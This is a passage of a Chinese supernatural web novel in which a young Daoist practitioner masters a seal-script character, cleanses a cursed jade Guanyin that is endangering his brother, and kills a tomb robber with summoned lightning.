紧接着就是昨晚狐狸求饶的那段声音,杨敏绣眉轻拧,这会就算是大家再傻,也都知道怎么回事了。
她盯着徐飞鸿,徐飞鸿低着头,交代了前因后果。徐飞鸿跟方为是老乡,如今方为当上了副总,但钱却没多赚多少。
这年月一些大场子里面都会养道士,跟工作的性质差不多,帮着看风水,看挂历,心里图个平安。而杨敏家的酱油厂没有道士,方为最近赌博输了不少钱,就联系了徐飞鸿闹了这么一出。
一万块,他们俩一人一半,顶得上普通人的一年工资了。
事情到了这里,一切都恍然大悟了,本来呢是个骗局,结果可倒好遇到了真家伙。只能说徐飞鸿和方为两人倒霉,要不然这钱还真骗到手了。
徐飞鸿被轰了出去,方为当场开除,至于我嘛跟着杨敏去了她家。
而这次的资料,对我意义重大,这是我第一次接触篆书的文献资料。虽然字数不多,大约百十来字,但我却觉得异常的亲切。一眼就能认识这些字,然后下意识地就去临摹。
结果我每写一个字,脑袋就像是轰的一下,跟顿悟了似的。而这还是我用手指随便的临摹呢,我跟杨敏又要了毛笔,等我真正的落笔之后,那个字像是闪动着金光,在我面前浮现。
我震惊,写个字,竟然如此神奇?但更神奇的还在后面,我发现我的道力有了一丝丝的变化。早些的时候,这些道力是淡蓝色的,如今却闪动着金光。
而随着我写的字数越来越多,那道力的金光也就越来越旺盛,到最后竟然变成了纯金色。
我忽然顿悟了,我的道力变的纯粹了。
我深吸一口气,运转道力在身上,一股暖流,舒服死了。而我的眼力,拳脚,都得到了显著的提升。特别是眼睛,之前运转道力会觉得微热,疲劳,现在不会了,注意力更加集中。
“冯宁,你还会写小篆啊,你太厉害了。爸爸经常练习写小篆,都没你写得好。”杨敏走了进来,对我一阵夸赞。我低头一看,也愣住了。
如今的我虽然能背字典,但我的字迹上很普通,结果我居然会写毛笔字,写得还很漂亮,连我都觉得很意外。
“这本篆书资料我能带走吗?”这个年代的书已经不管控了,只要有钱基本都能买得到。但文献资料不同,文献资料是供人研究的。
眼前的这篆书文献资料虽然是复印件,但也是很珍贵的,一般人拿不出来。
“当然可以啦,冯宁,你帮我们家解决了一个大麻烦呢。爸爸说了,只要你喜欢的东西,随便拿。”杨敏笑着说道。
我有些意外,到现在还没碰到杨敏的父亲呢,但对方的大度我感受到了。
而我真的一点没客气,拿了这百字的篆书复印件,又拿了两本书,之后又拿了毛笔墨水,钢笔,钢笔水,还有一些宣纸,在杨敏的哭笑不得中,我坐上了火车回家了。
一路上我都没个消停,拿着毛笔使劲地写,那是一个‘靈’字,我知道它通‘灵’,但不知道为啥,总是记不住。
一个字写了几个小时,但感觉还是不够。等我回到家,我也没注意到家里人的脸色,回屋继续写,一直写到了第二天早上,这个字突然就印在了我脑海里,缠绕在我的道力之上。
我脑子‘嗡’的一下,有种说不出的舒畅,就好像是我惦记了一个东西很久了,突然就能随心所欲的拿在了手里。
“走火入魔?”然而,这种状况没人告诉我是咋回事,我只能自己去猜测。
我摇了摇头沉思,“应该不是,它应该跟真言类似,需要我用写字的方式去领悟它,我应该是写对了。”
我眼前一亮,我觉得这个猜测是对的,随后我又写了个‘靈’字,写起来竟然非常的顺手,更让我吃惊的,这个新写出来的‘靈’字里面竟然蕴含着道力。
毫不夸张地说,要是再碰到那个六尾狐,我把这个字往它布置的磁场里面一扔,它的磁场就会立马失效,肯定的。
我又写了一个‘靈’字,依旧有纯粹的道力附在上面。随后我惊讶地发现,我近期写的这三个‘靈’字竟然一模一样。
然后,我尝试写了一个不一样的,结果就是没有任何反应。又写了一个跟那三个字一样的,道力又出现了。
果然,正如我猜测的那样,写对了。
之后,我又尝试研究其他的字,然而写了好几个字,都没有之前‘靈’字那种感觉了。我也明白了,字跟字还是有差别的,我应该是巧合,正好写了‘靈’字,所以才会废寝忘食地写它。
天已经彻底的亮了,我娘叫我吃饭,我也有些饿了,把资料放好就去吃了。
结果刚上饭桌,家里面的人愁眉苦脸的,特别是我娘,总在那唉声叹气。
我这人不嘴欠,平日里也不喜欢挑起话茬,但看我娘那样,我问道,“咋了娘?”
我娘没说话,我爹倒是开口了,“这不是粮票油票什么的都彻底取消了嘛,你娘攒了一大堆,现在都没人要了。”
我疑惑,“年前大队那边不就说了粮票要取消的事了吗?咱们家没早点用了吗?”
我说完这句话,突然觉得自己说了一句废话,随后又补充道,“娘,以前买东西要票,现在不用了,那不更方便了吗?”
我爹也反应了过来,“是这么个理儿。”
但不知道为啥,我娘就认死理,“白赞了啊,我这还有彩色电视机票,解放自行车票,洗衣机票,缝纫机票啊,这不都白瞎了嘛。”
说实话,我实在不懂我娘是什么思维,但作为儿子,我貌似也不能说些什么,我想了想说道,“不白瞎啊,等以后这东西肯定能升值。”
果然,我娘抬头看向我,“真的嘛老幺?”
我点了点头,“肯定啊娘,我之前去帝都涨了见识,那些古人用的铜钱,有的一枚卖几万呢。这些票以后肯定涨价。”
……
第五十二章煞气观音像
见我如此笃定,我娘的眼睛都亮起来了,嘴里嘟囔,“大钱咱家也有啊,我去看看,可别丢了,那可是好几万呢。”
说完我娘连饭都吃不下去了,起身就回屋。
我爹也惊奇道,“老幺,你说的是真的吗?咱家铜钱可不少呢。”
我点头道,“我说的是真的,但也不全是吧。值钱的大钱有,但具体是啥我也不清楚。”
我爹点了点头,“哎,说的也是,这钱怎么就落在咱们家手里呢。”
吃过饭,我娘拿了几串大钱让我看,其实我也看不出个啥,所以就随便的敷衍。但看着看着,我被一枚铜钱给吸引了。
那铜钱圆形方孔,上面写有顺治通宝四个字,背后则是满文。
在买神树叶时,那老板提到过五帝钱,顺治通宝、康熙通宝、雍正通宝、乾隆通宝、嘉庆通宝,这五帝通按照顺序绑在一起,有着辟邪避灾旺财镇宅等作用。
钱那样板我还看了呢,当时倒是没什么感觉,但当拿起这个顺治通宝之后,那种厚重感,让我觉得很踏实。
这要是集齐五枚?真会有那老板说的那种效果吗?
我心里这样想着,但我不是倒弄古玩的,自然也就不懂这些东西,我娘拿了几串大钱,我认真的看了起来,但最终没有一个像这顺治通宝拿着舒服。
我断定,这枚可能是真的,随后我就想着怎么能集齐五帝钱。
然后我就想到了两个人,大黄牙和老狗,我跟我娘要了这顺治通宝,直接去找大黄牙。
说来也巧,大黄牙和老狗这两人真的是狼狈为奸,俩人在报停里面嘀嘀咕咕的说着啥。我叫了他们一声,俩人顿时吓了一跳。
接着大黄牙就是一副献媚的表情,对我嘘寒问暖,我也不废话,直接拿出通宝让他们看,两人都是好手,很快就断定说这是真的。
“其他四枚呢?能买到吗?”我问。
大黄牙笑了笑,“大师,五帝钱不值钱,贵的,一枚也就二百多,黑市里面有都是。就是挑的时候,要眼尖点,那帮贩子们最会作假了。”
老狗也点了点头,“大师,你是要做五帝钱辟邪吧,这玩意确实很常见。我们正要去黑市呢,要不,您跟我们走一趟?”
我疑惑,“黑市在哪?我第一次听说黑城有这种地方。”
老狗和大黄牙看了我一眼,两人倒是见怪不怪,老狗说道,“大师,一看你家就没缺吃少穿。这黑市就在咱们城中心的南街胡同,早年因为粮票油票,有的想换点粮食,有的想换票子,一来二去黑市就出现了。现在嘛,那地方倒弄私货,倒爷,倒斗的常去。”
我点了点头,没有再问下去,跟着两人就去了。
隔着大商场两个街,这地方是一条胡同,胡同很长,里面全是摆地摊的,卖什么的都有。
老狗和大黄牙是这的熟人,进来就开始打招呼,两人随便问问就找到了卖铜钱地方。
很快,我就找到了另外四枚通宝,我分不清真假,但拿在手里面的那种厚实感错不了,跟顺治通宝一眼。
“你们看看?”我把跳出来的四枚递了过去。
大黄牙和老狗也是行家,他们掂量掂量,摸了摸,大黄牙说道,“是真的,字体张弛有力,字根入骨,没错。”
老狗也点了点头,“大师,这是新鲜货,倒斗刚弄的。”
老板闻言笑道,“这位先生放心,你是老狗老黄的朋友,我怎么可能给你们拿假货。诚心要的话,八百四枚。”
我没讲价,确定是真的直接掏了钱,那老板喜笑颜开,夸我英俊潇洒。
然而对于这些话我却没太在意,之后又在黑市逛了逛。半路上,老狗和大黄牙说有事,我就自己逛了。结果,我看到了我二哥。
他蹲在一个不起眼的角落里,耷拉个脑袋,有点半死不活的状态,在他面前,铺了一张麻袋,上面摆了一堆杂七杂八的东西,其中有一观音像。
“朋友,买货吗?都是刚到的,地下的,保真。”我走到跟前,我二哥突然开口说话,带死不活的语气,有气无力的。他一抬头,看到是我,神色有些慌张。
但很快,他瞪了我一眼,鼻腔哼了一声,“你来这做什么,看我笑话?”
我瞥了他一眼,上次回家闹,被我收拾了一顿,他就再也没出现过。想不到竟然在这碰到他,而看着那些东西,我皱了皱眉头,他这是不做倒爷了,改做倒斗了?
“这些东西你从哪弄出来的?”从我看到那观音像的第一眼,那股煞气就迎面扑来,连我都觉得心惊,这是个了不得的东西。
“老幺,别以为你在爹那得宠,就能管我了?你不够格。去去去,不买就抓紧滚。别在这影响我发财。”他撇了撇嘴,赌气地看着我。
“咱爹还真是说对了,你不往好道上走。要不是看在咱爹咱娘的份上,我都懒得问你。”我说完双眼用力,他的头上雾气浮现。
而这一次,雾气似乎有了变化。在这之前,我能看到的就是一团雾气,如今呢,那雾气竟然分了层次,三层云。
我虽然没搞清楚是咋回事,但我却知道我二哥要倒霉了,他头上的三层云都是黑色,下层黑红,中层黑紫,最上层如黑云压寨,甚至电闪雷鸣。
我看得心惊肉跳,随后突然想到了什么,朝着那观音像看了过去,结果那观音像的煞气,竟然与我二哥头上的煞气几乎一模一样。
我心中有一个想法,那就是我二哥要死了,要被这个观音像害死了。
“少在这装好人,你要是真有本事就要我十万块花花,要是没有就抓紧滚,别影响我发财。”他撇了撇嘴,依旧是那副死猪不怕开水烫的嘴脸。
但比起上次,他眼神闪躲,有点怕我了。
我深吸一口气,看着手里的五帝钱,随手在麻袋上扯了一根麻绳按照顺序绑好。
而在绑好的那一刻,我愣了愣,原本厚重的五帝钱,突然有了一丝威严。
没错,就是威严,而刚刚还杀气冲天的观音像,突然间就变得普通了。
我随手把五帝钱扔给了我二哥,他奇怪地盯着我,我说,“你快死了,信不信由你。这五帝钱暂时能保你一命,你也老大不小了,要是想明白了就回家给爹娘磕头认错,我救你。想不明白,等这五帝钱都护不住你的时候,你就死在外面吧。”
说完,我就走了。
……
第五十三章二哥出事了
之所以把五帝钱留给了我二哥,还真不是念我们兄弟情,完全是看在我爹娘的份上。
爹娘年纪大了,我二哥要真是出了点什么事,他们嘴上说不管不问,到时候肯定难以接受。
但我又没想管太多,所以让他看着办。有些事人要是没有悔悟之心,活着跟死了没有区别。
在黑市转了一圈,临要出去的时候,我碰到了老狗,我问他大黄牙呢。
老狗说,“他啊,走了。”
看着老狗那发财的样,我心里就明白了,这俩家伙肯定做了什么坏事,然后分账了,要不然不能这样高兴。
但我也没揭穿,想到二哥的情况,我问道,“老狗,咱们这也有倒斗的吗?”
老狗快嘴道,“当然有了,咱们黑城光我知道的就有四家,但,咱们这边大多数都是野路子出身,拜的祖师爷姓姚,用的却是特么的炸药。”
随后我说出了心中的疑惑,“什么样的墓,陪葬品是观音像?”
听我这样说,老狗打了个激灵,用力地咽了口吐沫,“大师,您本领高强,我不行啊。墓中观音,那是禁忌,提都不能提,会死人的。”
我皱了皱眉头说道,“所以说,他们挖出来,会找一些不懂行的人去卖?对吧?”
老狗奇怪地盯着我,“大师,你怎么懂这些啊。”
我盯着他,老狗稍微沉默了一下,这才开口说道,“哎,大师,也就是您,要不然我都不提的。陪葬观音那也叫血观音,这玩意本来是镇墓的菩萨,但过了百年那就成凶了。但能镇墓的菩萨,那都是极品,价格不便宜。所以这帮倒斗的想了个损主意,让这血观音饱餐一顿,散散凶气。”
不等老狗把话说完,我皱了皱眉头,“你的意思是,把活人当成祭品?喂给这血观音。”
我之所以有这个反应,是因为陆老爷子那笔记写过这种事。但不是倒斗的观音,而是纹身郎的事。
那上面是这样写的,在这世间有一种职业叫做纹身郎,它能纹鬼,纹妖,只要是它纹出来的东西,那都是活的。
而极品,就是那些被纹身的人。
老狗点了点头,“大致就是这个意思,活人祭祀,等血观音的凶气散了,那就是最好的镇宅观音,百米开外,没有脏东西能靠近。”
和老狗分开,我就直接回家了。看到我爹娘在看电视,我有点心不在焉的。也不知道那五帝钱能撑多久。
但随后,我意识到了一个问题,我忍不住看了我娘一眼,总觉得哪里不对劲。很快,我恍然大悟了,这件事确实不对劲。
先是我娘唠叨了粮票的事,接着有了我说大钱的事,再然后我娘说家里有大钱,最后是我找到了顺治通宝去了黑市遇到了我二哥。
想下来,我这五帝钱就像是从一开始就要给我二哥弄的。
命盘。
这是我第二次想到了这个词,但与上一次不同,我仿佛站在了一个巨大的格子里,而在我旁边,前面,左面,右面,都有同样的格子。
我看到了我的父母,兄弟姐妹,朋友,女人等等。他们分别站着一个格子,有的背对着我,有的正对着我,神情木讷。
我想转身,但非常的艰难,我发现,我只能看到前方,看不到后面,而我余光之中,里面有我二哥,有索菲亚。
这是命盘?
我惊讶了。
但这种感觉只持续了一瞬间,我就又回到了现实,我娘正用奇怪的眼神看我,“老幺,你咋了?眼珠子咋都不转了呢?”
我摇了摇头,“没事,我去看书了。”
回到我那屋子里,我想着再进入到那种状态,但根本做不到。
而有关命盘的事,陆老爷子没提过,那个方士也没有这方面的记忆,这玩意有点像是我自悟出来的。
虽然天色还早,但因为这事我突然觉得很疲惫,索性躺在了床上一觉到了下午。
也不知道过了多久,我娘突然来扒拉我,我迷迷糊糊的,看到我娘一脸焦急地冲我说,“老幺,老幺,你快起来,你二嫂来了,你二哥出事了。人好像快不行了。”
我急忙起身来到客厅,看到打扮花枝招展的二嫂在沙发上哭个没完。
我急忙问,“嫂子,咋回事?”
结果我二嫂就是哭哭啼啼的,也不说话。
我皱了皱眉头,这女人从嫁到我家里来就这样,整天咋咋呼呼的,一旦遇到事,除了哭啥也不会。
“你二哥在医院呢,那边正在抢救,你二嫂说医院那边要交两万,我们现在赶过去交钱。”我爹背这个皮包出来,里面鼓鼓囊塞的,看那应该有两万。
因为命盘的出现,我突然有了一丝新的顿悟。从我清醒之后,我一直想着做个冷漠的人,因为那八年里,我受尽了凌辱,其中有我爹娘的冷漠,二哥大姐他们的不把我当人,外人的冷嘲热讽戏弄。
但等我站在这命盘格中的那一刻,我明白了,身在命盘当中,就要受到命盘的影响,有些事都是注定的,哪怕身为方士,我也跳不出去。
起码,现在的我跳不出去。
“爸,娘,你们先去医院救人。”我看了一眼我二嫂说道,“二嫂,你带我去你们家。”
闻言,我二嫂哭哭啼啼地看着我,“去我家做啥啊。”
我皱了皱眉头,“二嫂,我二哥是不是把他那些东西都带家里去了?”
我二嫂眸子怔了怔,撒谎道,“啥东西,我不知道。”
我冷漠地看着二嫂,该说不说,我二嫂长得非常漂亮,二十六七岁的年纪,又会打扮,给人感觉像个清纯的女大学生。
然而,这真的是表面现象,能跟我二哥结婚的女人?能是什么好鸟?她虽然不是啥坏人,但绝对跟我二哥臭味相同。
十六七岁就跟了我二哥,抽烟喝酒样样精通,嘴里面也没实话。这就是个精神小妹,不,比不上人家精神小妹,应该说是个小太妹。
“二嫂,你要是想我二哥死,那就别带我去。他的生死,都握在你手里呢。”我认真道。
听我这么一说,我二嫂也不哭了,脸色有些发白地盯着我。
我爹突然发话了,“老二家的,就听你小叔子的话,快点带他过去。晚了,真要出事。”
……
第五十四章神仙打架
我爹都发话了,二嫂也不敢再闹腾,带我去了他们租房。
租房在火车站附近,也是个小院子,但跟我家比起来小多了,而且他们只租了一个屋,一进屋,给我的感觉就是有点挤巴。
能看出来,二哥最近这段时间过得真不咋地。但我也没功夫多想,看向我二嫂问她,“嫂子,我哥带回来的东西呢?”
我二嫂还是有点犹豫,但随后动手把麻袋子找了出来。
“二嫂,你退后点,我自己打开吧。”想到那血观音,我怕二嫂被牵连,所以主动提出。
她点了点头,退到了身后,我把麻袋子打开了。
果然,里面就是二哥白天倒弄的那些东西,我没心思看,扒拉了两下,找到了那血观音。
轰。
哪怕我已经见过了许多超自然的现象,但看到这血观音,也是头皮有些发麻。
这是一尊墨玉色的观音,因为常年灰尘的缘故,上面有着一层灰,所以看起来玉不玉,土不土的。
然而,此时的这血观音,真的就跟它的名字一样,血红血红的,特别是那双眼睛,像是活人的眼珠子,栩栩如生。
原本慈善的面孔,此刻看起来,跟鬼神似的,凶神恶煞。
“老幺,你二哥说这玉菩萨金贵呢,能卖十万。小心点,别弄坏了。”二嫂突然说话了。
我冷笑,但没有废话,因为我心里很清楚,有些事说多了,反而适得其反。
我二哥二嫂那是同类人,跟他们用正常人的口吻沟通,不会有点一点效果。
眼下,我伸手把那血观音拿在手里,那股煞气,像是活了一般,朝我胳膊缠了过来。
“你当我什么人,真佛都不见我,你也敢找我麻烦!”我脸色铁青,那纯粹的道力护体,闪动着金光。
啊!
刹那间,我仿佛听到了尖叫声,那血观音的煞气缩了回去,身上的血红色也淡化了不少。
看着那血观音仍然血光乍现,我心里很清楚,光这样还远远不够。
“嫂子,我二哥那五帝钱,你知道在哪吗?”我问。
百年怨气,哪能说抹平就抹平的,我想到了给二哥的五帝钱。
“啊,那五个铜钱吗?你二哥说能卖一千多,让我给拆了洗了。在窗台晾着呢。”二嫂说完给我拿了过来。
说实话,人在无语的时候,真的会笑。我拿过了五帝钱,看着上面被洗得干干净净,被气笑了。
我是个不太喜欢说话的人,但不代表我不骂人,这个比,还真尼玛的该死,因为他连我的命盘都出现了,兜兜转转的帮他一把,结果呢?
坏人绞尽脑汁,不如蠢比灵机一动,因为钱把命要搭里面。
我瞥了我二嫂一眼,懒得废话,把五帝钱按照顺序捏在了手里。
嗡。
随后,我仿佛听到了嗡名声,那五帝钱上金光流转,竟然在那颤动。
没等我动手,那五帝钱像是有了灵智一样,落在了那血观音面前,一股威严散开。
五帝钱和血观音的气息相互交融,谁也不肯让步。这惊奇的一幕,连我都愣了愣。
靈!
看到两边势均力敌,我想到了写的那个字,我气定神闲,运转道力,在空中挥挥洒洒地写了个‘靈’字,然后一喝,那字打在了血观音的身上。
嗡嗡嗡。
血观音颤抖起来,在五帝钱和‘靈’字的加持下,它渐渐的弱势。
呼。
随后,那血红的煞气直接被抽了出来,朝我猛地袭来。我一个‘行’字避开,下意识地用手去当。
等我再次看向那血观音,它通体墨玉,慈眉善目,哪里还有半点的血红。
在看那五帝钱,零零散散在四周,威严还在,却也没了动静。
“冯宁,我,我应该没看错,刚才那个玉佛在飞?它在动吗?”我二嫂来到了我身后,俏脸惊呼地指着那玉佛,不可思议。
“你能看到?”我有些奇怪了,按理来说,这玉佛和五帝钱的灵性,应该跟佛像转身一个道理,普通人看不到的啊?
“能,我看它从你手中飞了出去,坐在了地上。还有你扔的五帝钱,在那颤动,我以为眼花了,但应该没看错。”我二嫂有些害怕地拉着我胳膊。
我把二哥跟血观音的事说了,二嫂看上去更紧张了,她狠狠地咽了口吐沫,眼泪吧嗒地掉了下来,“冯宁,这事怪我,是我跟他说的分家,我想着我俩能把日子过起来。谁知道,他做了倒爷被人坑了。这才找了这么个活。”
我冷漠地看着我二嫂,说实话,我的心里连一点波动都没有,因为在我眼里,她哭的不是分家,也不是没赚到钱,哭的是现在的惨状。
而在我修道的那些岁月里,像我二嫂这种人比比皆是,一点不夸张的说,遇到十个有问题的人,十个都是自己造成的。
后来我就明白了,人的命盘是天生注定的,从你出生的那一刻,你的命盘几乎不会有改变。就算有,也是位置变了,但命盘注定是不会变的。
而人的命运,倒是自己造成的。准确点的描述就是,人的命运是自己的性格造成的,这个怨不了别人。就像我二哥,天生不着调,做事不稳重,结果就是他经常误入歧途。
“二嫂,我们也去医院吧,我想,二哥应该没事了。”血观音的煞气消了,人应该也就没事了。临走时,二嫂还不忘了把东西装进麻布袋里面。
很快,我们来到了医院,在病房里看到了我爹我娘,还有已经清醒了的二哥。
我娘看到我说,“冯宁啊,你是不是做了啥啊。你都不知道,妈都吓坏了。你二哥在抢救室抢救,下了三次病危通知。结果不知道怎么的人就没事了。连医生都说了,这真是个奇迹。”
我爹也松了口气,但他又变成了那古板的样,站在那盯着我二哥,气不打一处来,好在没有开口骂人。
我二嫂直接扑了过去,她也是吓坏了,在那又哭了起来。
倒是我,看了我二哥一眼,又看了我娘说道,“我没做啥,人家医院医术高明。既然二哥醒了,那我就先回去了。”
闻言,一家人都看向了我,我爹我娘面面相觑,而我二哥似乎想说什么,但最后低着头,拉过了我二嫂的手,没出声。
我知道他们在想什么,觉得我冷漠无情,所以才有了那种反应。但对我而言,这些都不太重要。
眼下我说是回家,其实是去找了老狗,这件事不能算了,总要一个交代。
……
第五十五章轰死人
我二哥平日里虽然混账点,但也罪不至死,结果被人拿来祭祀,这种有损阴德的事,我不能坐视不理。
所以,我要找到那帮倒斗的算账。
老狗果然有门道,这大半夜的,他在电话亭打了几个电话就把人给找到了。
我们约在了四中门口见面,老狗跟我一起去的,大半夜天气冷,老狗冻得嘶嘶哈哈的,在那一边跺脚一边跟我说,“大师,等会人来了,就说你是佛子那边的人,事情好解决。”
老狗瘦了吧唧,但这人是个人精。而我把对方约出来,也是给个警告,既然郭毅的名号好用,那就简单了。
我俩正聊着呢,七八个人拿着家伙事就过来了。走在最前面的是个女人,约莫三十岁,长相嘛,按照我们方言来说带劲。扭来扭去的,看上去挺骚。
剩下的都是壮汉,有络腮胡,小白脸,凶狠脸,站在我们眼前,一看都不好惹。
“就你特么的找我们啊?”凶狠脸拱了拱鼻子,手里拎着个棒子,歪着脑袋,一副要干架的架势。
“哥几个,收一收,知道你们是干阴间活的,不怕死。这位爷,那是佛子的朋友,找你们来有点事。”老狗也是道上混的,三言两语就把事说明白了。
一听到‘佛子’两个字,这几个人脸色都变了。那凶狠脸尴尬地杵在那,一时间也没了脾气。
“小弟弟,看上去年纪也不大,怎么认识得佛子呢?”女人骚里骚气地盯着我,她倒是很镇定。
老狗还想说些什么,却被我推开了,我走到几人面前,随后拿过了一人的铁棍。几人突然有些紧张,我看到有人直接掏出了枪。
对此我倒是不意外,这年月的黑城用四个字来形容很贴切,鱼龙混杂。弄把枪什么的,不是稀奇事。
这件事老狗虽然说得简单,但人家也是来者不善,光凭一张嘴想说服这些狠人?那倒是有点异想天开了。
我用道力催动铁棍,搓了搓手指,念叨,“诸法万象,雷神为尊,法令,天雷、神雷、龙雷、水雷、社令雷,以我之名,急急如意令!”
几人看着我,其中有人还是一副讥讽的嘴脸,轰隆隆,但伴随着雷云闪动,这七八个人眼神都变了。
“五雷轰顶?”女人也是见多识广,虽然她说错了,但说得也很靠近了,五雷轰顶和五雷诀在他们眼里都差不多。
“血观音的事,你们是不是得给我个交代?”我冷冷问道。
“这……”女人有点沉默,显然她心里面门清,那是害人的术法。
“哼,装神弄鬼,给你交代?给你特么什么交代?我就不信了?还真有五雷轰顶?”络腮胡死死盯着我,突然掏出手枪顶在了我脑门上。
说实话,我心里面也没底,不知道自己能不能抗住子弹。但我这个人从来不会站在危墙之下,他已经掏枪了,我怎么会客气。
我运转道力,引雷。
轰!
那雷声震耳欲聋,一道雷猛地就劈了下来,紧接着连我都愣住了。
我。
杀人了。
吧嗒一声,那络腮胡手中的枪掉在了地上,而他的人呢,被雷轰成了一滩血泥。
此刻,天空那雷云滚滚,伴随着闪电,但在这四周却一片的安静。
呕。
风骚女人再也没了之前的定力,当场就吐了出来,跟随她的几个人也没好到哪去。
我也想吐,但我忍住了,故作镇定地盯着他们说道,“还要试试吗?”
女人一边吐一边摆手,“别,别,高人,有话好好说。”
“对对对,有话好好说,都朋友,我跟老狗认识好多年了。这络腮胡死有余辜,喂血观音的骚主意就是他出的,活该。”刚才第一个站出来叫嚣的凶狠脸,眼下笑脸相迎。
目的达到了,我收了五雷诀说道,“你们动的那个人是我二哥,这件事,你们要给我一个交代。”
几人又是一愣,那凶狠脸诧异,“那个该溜子,不,不,冯涛……”
凶狠脸说了半截话,但从他的眼神里不难看出,他瞧不起我二哥,所以才找的我二哥。但因为我这个弟弟,他们很惊恐。
“哥,您看这样行吗?我赔您五万块,东西,我们也都不要了,孝敬您。”女人说道。
我看着女人说道,“这件事过后,离我家里人远一点。要不然,就是不是死一个人那么简单了。”
说完我就走了,老狗还在看着地上那滩血泥,他捂着嘴,刚才也吐过了。
老狗看我的眼神也更加敬畏,他倒是会办事,走到女人面前说道,“红姐,电话里我都跟你说了,这位爷不是凡人,你怎么不信呢。钱准备好,你还要给个态度,明天来找我吧,我替爷办事的。”
那红姐深吸一口气,“老狗,有这种爷,不早让我们认识。你藏的真神呢。成,我认栽,就当给爷拜山头了。”
听着他们的话,我知道这件事已经稳妥了。其实最初来的目的,就是想着让他们离我家里人远点,然后给我二哥要点钱,没想到却闹出了人命。
但事情已经发生了,我也没有一丁点的后悔,这帮倒斗的,干都就是阴损的事。而在他们的身上,我闻到了一股血腥味,我可以确定,他们当中起码四五个人亲手杀过人,这是一帮亡命徒。
所以杀了也就杀了。何况,那是雷劈的,又不是我动的手,就算查到最后,也不会有人信是我引雷把人劈死的。
而从这件事上我心态也有了变化,本来是打算吓唬人的,但真的轻易不能出手了,因为真的会出事。
我突然想到了那个田道士,那家伙真有点本事,硬抗一道雷居然没事。还能躲过一道雷,就是不知道三道雷,他能不能受得了,要是再能碰到,我想试试。
回到家睡了一觉,第二天一大早我二哥就出院了,我娘给他炖的鸡汤,二嫂伺候他。大哥大嫂也没去修理铺,在家帮忙照顾他。
老狗带那红姐来了,原本一脸享受的二哥,扑棱就站了起来,那真的是一脸献媚。
红姐也不废话,给了五万块,还说那些东西都给他了。不等二哥回过神来,红姐突然找到了我,说是有事。
我不太想跟他接触,但家里人多,我怕她把我轰死人的事说出来,两人就来到了院子。
扑通。
红姐就跪在了地上,她用一种敬畏的眼神盯着我,“大师,求您救救我。”
……
第五十六章教训老狗
看着红姐,我面无表情道,“我没兴趣。”
陈红咬了咬嘴唇,但似乎没有起来的意思。
就在这时老狗出来了,看到这场景,他又转头要进屋。
我声音冷漠地叫住了他,“老狗,你是不是要跟我说点啥?”
昨晚收拾了红姐,一大早他就带人来了我家,然后红姐还弄这么一出,任谁都看得出来,两人之间肯定有什么猫腻。
而老狗的这种行为,已经触碰到了我的底线,他不该把人带我家里来。
“大师,我,我。”老狗低着头赔笑,却不敢看我的眼睛。
我皱了皱眉头,没给他好脸色道,“老狗,你是不是觉得我这个人特别好说话?嗯?”
老狗吓坏了,扑通也跪在了那,直接磕头道,“冯大师,冯大师,我错了,我真的知道错了。我不该把人带过来,是我贪慕虚荣,是我起了小心思,冯大师,对不起,饶恕我这一回吧。”
我冷笑道,“老狗,看来你什么都清楚,也什么都知道,但就是想试试我的底线是吗?”
我神色冷淡地走到了老狗的面前,没有任何动作,就死死地盯着他。
“大师,饶恕我吧,是我,是我想跟红姐走得近点,捞一点钱,所以跟红姐说我跟您熟悉,是您的左膀右臂。大师,是我贪心,我该死。”老狗说完抽自己的嘴巴子,啪啪作响。
我无动于衷,在我眼里面,老狗和大黄牙都一样,不过就是能利用罢了,但眼下,他们太把自己当回事了。
把这些倒斗的凶狠人弄到我家来了,这是我的底线。
“大师,你们,不熟吗?”红姐站了起来,她意识到被骗了,冷冷地看着老狗。
我没说话,老狗却哆哆嗦嗦地说道,“红姐,对不起,我,我跟大师熟,不是你想的那样。”
老狗进退两难吓得直哆嗦,他怕我,也怕这个红姐。
“你们可以走了。”我撵人了。
闻言,红姐和老狗都脸色变了变,红姐瞪了老狗一眼,率先走了。再看老狗,他近乎哀求地跪在那说道,“大师,我,我错了。”
我冷冷地说道,“老狗,你是不是觉得我年轻,所以多忘事呢?你跟大黄牙把刀疤男带我家的事,你不会觉得我忘了吧?”
老狗脸色唰地一下就白了。
我又说道,“别说我没给你机会,再一再二不再三。再有这种事,你得死。滚。”
老狗不敢说话了,连滚带爬地离开了我家,他刚出去,就听到了喊了一声,“红姐。”
然后就没动静了。
我皱了皱眉头,刚才就感受到了外面有人,我猜测应该就是红姐的人。老狗肯定要遭点罪,但我可没有去救他的打算。
这个人越界了,确实应该长长记性。
回到客厅,我二哥突然就从沙发那走了过来,手里死死的攥着那五万块,朝我笑道,“冯宁,上次是二哥不对,二哥知道错了,你就原谅二哥吧。”
我看了一眼他手上的钱,又冷冷的看了他说道,“你不是知道错了,你是看到了有利可图。”
我二哥脸色有些不好看了,但出乎意料地没有翻脸,而是能说会道地说道,“老幺,再怎么说我们也是亲兄弟,要不是亲兄弟,你也不会救我,对吧?”
我摇了摇头,“我救你,是因为咱爹咱娘,跟你是不是我兄弟没有关系。从你在分家的时候拿了我钱的那一刻,你在我这不重要了。我最后叫你一次二哥,也劝你一句,二哥,好自为之,踏实点,别让爹妈操心。”
说完,我直接回了自己那屋,拿起了笔墨写着篆书。
接下来的一段时间里,我不是写篆书,就是在看文献,再或者就是坐忘修炼。
但很快一个月过去了,天气有些见暖,然而我在修炼上的进步并不大。唯一的收获,就是那‘靈’字运用得更加娴熟。
以我的理解,这个字有点像‘加持’的作用。有了它的加持我使用的道法威力能增大。另外它也有点‘催化’的作用,道法能更快达到效果。
“冯宁,你二哥让我把这个给你送过来。”我二嫂来了,手里面抱着那个玉观音。
“是玉观音价格不菲,送给我干嘛?你们转手卖了,那就富裕了。”我有些意外的说道。
“冯宁,自从上次出了事,你二哥就有点怕这玉观音,他不敢卖。”二嫂摇头说道。
“他是不是想卖给我?”我突然想到了什么。
二嫂脸上一红,都有点站不稳了,但还是点了点头,“你二哥说你能降得住这玉佛,肯定也能卖了。”
我冷笑,“二嫂,你最好跟我二哥确认,要是给我的话,我就收了,要是卖给我,那就拿走。这玩意,可不是什么好东西。弄不好是要死人的。”
一听要死人,二嫂吓得把玉观音放下就跑了,边跑边说,“冯宁,给你了,给你了,钱我们不要了。”
在沉稳的人,遇到这种奇葩的二哥二嫂也觉得无语,明明是他们怕死不敢卖了,结果还想着在我身上捞好处。
既然这样,那就别怪我吓唬他们了。
白得了个镇宅的玉观音!
